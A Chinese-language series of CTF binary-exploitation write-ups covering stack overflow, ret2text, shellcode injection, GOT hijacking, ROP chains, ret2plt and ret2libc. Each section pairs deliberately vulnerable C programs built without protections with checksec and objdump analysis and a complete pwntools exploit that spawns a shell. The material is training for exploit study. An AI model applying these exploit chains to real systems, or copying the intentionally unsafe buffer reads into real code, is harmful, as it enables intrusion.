Bof
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# include <stdio.h>
# include <stdlib.h>
# include <unistd.h>
void get_sh()
{
execve("/bin/sh", (char * []){0}, (char * []){0})
}
int main(int argc, char const * argv[])
{
char buf[0x10]
puts("first challenge!")
fflush(stdout)
read(0, buf, 0x30)
return 0
}
Makefile
gcc -fno-stack-protector -no-pie -o bof bof.c
分析
checksec
检查如下
1
2
3
4
5
6
[*] '/ctf/work/bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
objdump
查看函数位置
1
2
3
4
5
0000000000401196 <get_sh>:
401196: f3 0f 1e fa endbr64
40119a: 55 push rbp
40119b: 48 89 e5 mov rbp,rsp
40119e: 48 83 ec 10 sub rsp,0x10
Exp
1
2
3
4
5
6
7
8
9
10
from pwn import *
r = process("./bof")
r.recvuntil("!\n")
p = b'a' * 0x18 + p64(0x401196)
r.send(p)
r.interactive()
update - 2020-10-28
Bof1
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void get_sh()
{
int allow=0;
if (allow)
{
execve("/bin/sh",0,0);
}
else{
puts("No,Bye~");
exit(0);
}
}
int main(int argc, char const *argv[])
{
char buf[0x10];
puts("second challenge!");
fflush(stdout);
read(0,buf,0x30);
if (strlen(buf) >= 0x10)
{
puts("Bye~");
exit(0);
}
return 0;
}
Makefile
gcc -fno-stack-protector -no-pie bof1.c -o bof1
考点
Return to Text
strlen()
用\x00
截断绕过allow
可以直接跳转到execve()
函数地址绕过
分析
checksec
分析1 2 3 4 5 6
[*] '/ctf/work/bof1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
objdump
命令查看函数地址get_sh()
函数地址:0x4011d6
execve()
函数开始地址:0x4011ef
我们直接将函数返回地址定位到execve()
函数开启地址是不行的,因为在主函数处有长度检测,不过可以通过00
截断来绕过strlen()
函数
Exp
1
2
3
4
5
6
7
8
9
10
from pwn import *
r = process("./bof1")
r.recvuntil("!\n")
p = b'\x00' * 0x18 + p64(0x4011ef)
r.send(p)
r.interactive()
ret2sc
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
char message[0x30];
int main(int argc, char const *argv[])
{
char name[0x10];
puts("Give me your message: ");
fflush(stdout);
read(0,message,0x30);
puts("Give me your name: ");
fflush(stdout);
read(0,name,0x30);
return 0;
}
Makefile
gcc -fno-stack-protector -no-pie -z execstack ret2sc.c -o ret2sc
考点
Return to Shellcode,将shellcode地址写入到返回地址处
分析
checksec
分析1 2 3 4 5 6 7
[*] '/ctf/work/ret2sc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
objdump
查找message
变量地址message
变量的地址也就是我们传入的shellcode的地址:0x404060
1 2 3
4011a4: ba 30 00 00 00 mov edx,0x30 4011a9: 48 8d 35 b0 2e 00 00 lea rsi,[rip+0x2eb0] # 404060 <message> 4011b0: bf 00 00 00 00 mov edi,0x0
写shellcode的方法
pwntool 工具里封装好的shellcode
1 2 3
context.arch = "amd64" sc = asm(shellcraft.sh()) r.send(sc)
汇编代码编写
1 2 3 4 5 6 7 8 9 10
sc = asm(''' mov rax,0x68732f6e69622f push rax mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,0x3b syscall ''') r.send(sc)
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
r = process("./ret2sc")
context.arch = "amd64"
r.recvuntil("\n")
sc = asm(shellcraft.sh())
r.send(sc)
r.recvuntil("\n")
p = b'a' * 0x18 + p64(0x404060)
r.send(p)
r.interactive()
gothijack
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
char name[0x40];
int main(int argc, char const *argv[])
{
int unsigned long long addr;
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
printf("What's your name?\n");
read(0,name,0x40);
printf("Where do you want to write?\n");
scanf("%llu",&addr);
printf("Data: ");
read(0,(char *)addr, 8);
puts("Done!");
printf("Thank you %s!\n",name);
return 0;
}
Makefile
gcc -z execstack -no-pie -o gothijack gothijack.c
考点
Linux中PLT和GOT表以及延迟绑定机制
分析
checksec
分析1 2 3 4 5 6 7
[*] '/ctf/work/gothijack' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
根据Linux中PLT&GOT表的延迟绑定机制,我们可以知道在
scanf()
函数要求我们输入地址前后1,都使用printf()
函数输出字符串,因此只要我们在更改<printf@plt>
值为shellcode的地址后,一旦再次调用printf()
函数就会直接执行shellcode通过
objdump
查地址存放shellcode的
name
地址:0x404080
<printf@plt>
的地址:0x404028
1 2 3 4
00000000004010b0 <printf@plt>: 4010b0: f3 0f 1e fa endbr64 4010b4: f2 ff 25 6d 2f 00 00 bnd jmp QWORD PTR [rip+0x2f6d] # 404028 <printf@GLIBC_2.2.5> 4010bb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
r = process("./gothijack")
context.arch = "amd64"
r.recvuntil("name?\n")
sc = asm(shellcraft.sh())
r.send(sc)
r.recvuntil("write?\n")
p = 0x404028
r.sendline(str(p))
r.recvuntil("Data: \n")
p1 = p64(0x404080)
r.send(p1)
r.interactive()
update: 2020-10-29
rop
源码
1
2
3
4
5
6
7
8
9
10
11
12
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
int main(int argc, char const *argv[])
{
char buf[0x10];
puts("This is your first rop challenge!");
fflush(stdout);
read(0,buf,0x90);
return 0;
}
Makefile
gcc -fno-stack-protector -no-pie -static -o rop rop.c
考点
Return Oriented Programming:通过不断去执行包含ret
的程序片段2来达到想要的操作
ROP chain:由众多ROP gadget组成,并且可以串成任意代码执行的效果,此外可以取代以添加shellcode操作而进行的攻击
函数内的局部变量一般放在.bss
段
分析
checksec
分析1 2 3 4 5 6
[*] '/ctf/work/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序有Canary检查,在函数栈帧初始化时会在栈上放置canary值并且在退出前验证,但我们通过ROP chain修改了程序流向,最终是执行不到Canary检查;此外启用了
NX
,使栈区域的代码无法执行通过
ROPgadget
来构造ROP chain- 导出文件中所有gadget:
ROPgadget --binary rop > rop_gadget
- 找gadget地址:
cat rop_gadget | grep "pop rdi ; ret"
构造ROP chain的目的是将代码片段串成调用
execve()
函数的代码1 2 3 4 5 6 7 8 9 10 11 12
pop rdi;ret # 存储地址 pop rsi;ret '/bin/sh\x00' mov qword ptr [rdi],rsi;ret pop rsi;ret 0x0 pop rdx;ret 0x0 pop rax;ret 0x3b # syscall;ret
- 导出文件中所有gadget:
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
r = process("./rop")
r.recvuntil("!\n")
pop_rdi = p64(0x40186a)
pop_rsi = p64(0x40f3ae)
mov_rsi = p64(0x445d5f)
pop_rsi = p64(0x40f3ae)
pop_rdx = p64(0x40176f)
pop_rax = p64(0x449297)
syscall = p64(0x4012d3)
bss = p64(0x4c2240)
p = b'a' * 0x18
p += pop_rdi
p += bss
p += pop_rsi
p += b'/bin/sh\x00'
p += mov_rsi
p += pop_rsi
p += p64(0)
p += pop_rdx
p += p64(0)
p += pop_rax
p += p64(0x3b)
p += syscall
r.send(p)
r.interactive()
ret2plt
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
char name[0x10];
int main(int argc, char const *argv[])
{
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
char buf[0x10];
system("echo what is your name?");
read(0,name,0x10);
puts("Say something: ");
read(0,buf,0x40);
return 0;
}
Makefile
gcc -fno-stack-protector -no-pie -o ret2plt ret2plt.c
考点
Return to PLT
通过使用 PLT表构成 gadget
分析
checksec
分析1 2 3 4 5 6
[*] '/ctf/work/ret2plt' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
objdump
取name
地址:0x404070
ROPgadget
构造链
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
r = process("./ret2plt")
r.recvuntil("?\n")
r.send("sh\x00")
r.recvuntil(" \n")
p = b'a' * 0x18
p += p64(0x401293) # pop rdi;ret
p += p64(0x404070) # name address
p += p64(0x40101a) # ret
p += p64(0x401080) # <system@plt> address
r.send(p)
r.interactive()
update: 2020-10-31
ret2libc
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char addr[16];
char buf[16];
printf("You have one chance to read the memory!\n");
printf("Give me the address in hex: ");
read(0, addr, 0x10);
unsigned long long iaddr = strtoll(addr, 0, 16);
printf("\nContent: %lld\n", *(unsigned long long *)iaddr);
printf("Give me your messege: ");
read(0, buf, 0x90);
return 0;
}
Makefile
gcc -fno-stack-protector -no-pie -o ret2libc re2libc.c
考点
strtoll()
函数功能:将字符串转成long long
型的值
Return to libc
libc 中有许多可以利用的程序片段,可以让我们使用system
或execve
等可以开shell的函数
分析
checksec
分析1 2 3 4 5 6
[*] '/ctf/work/ret2libc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
readelf
找puts
函数偏移地址:0x809c0
readelf -a libc-2.27.so |grep "puts"
ROPgadget
找/bin/sh
地址ROPgadget --binary libc-2.27.so --string "/bin/sh"
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
r = process("./ret2libc")
put_offset = 0x809c0
r.recvuntil(": ")
r.send('0x601018')
r.recvuntil("Content: ")
put_addr = int(r.recvuntil("\n")[:-1]) # 0x7ffff7a649c0
print(hex(put_addr))
libc_base = put_addr - put_offset
bin_sh = 0x1b3e9a
pop_rdi = 0x000000000002155f # pop rdi ; ret
pop_rsi = 0x0000000000023e6a # pop rsi ; ret
pop_rdx = 0x0000000000001b96 # pop rdx ; ret
pop_rax = 0x00000000000439c8 # pop rax ; ret
syscall = 0x00000000000d2975 # syscall ; ret
r.recvuntil(": ")
p = b'A' * 0x38
p += p64(libc_base + pop_rdi)
p += p64(libc_base + bin_sh)
p += p64(libc_base + pop_rsi)
p += p64(0)
p += p64(libc_base + pop_rdx)
p += p64(0)
p += p64(libc_base + pop_rax)
p += p64(0x3b)
p += p64(libc_base + syscall)
r.send(p)
r.interactive()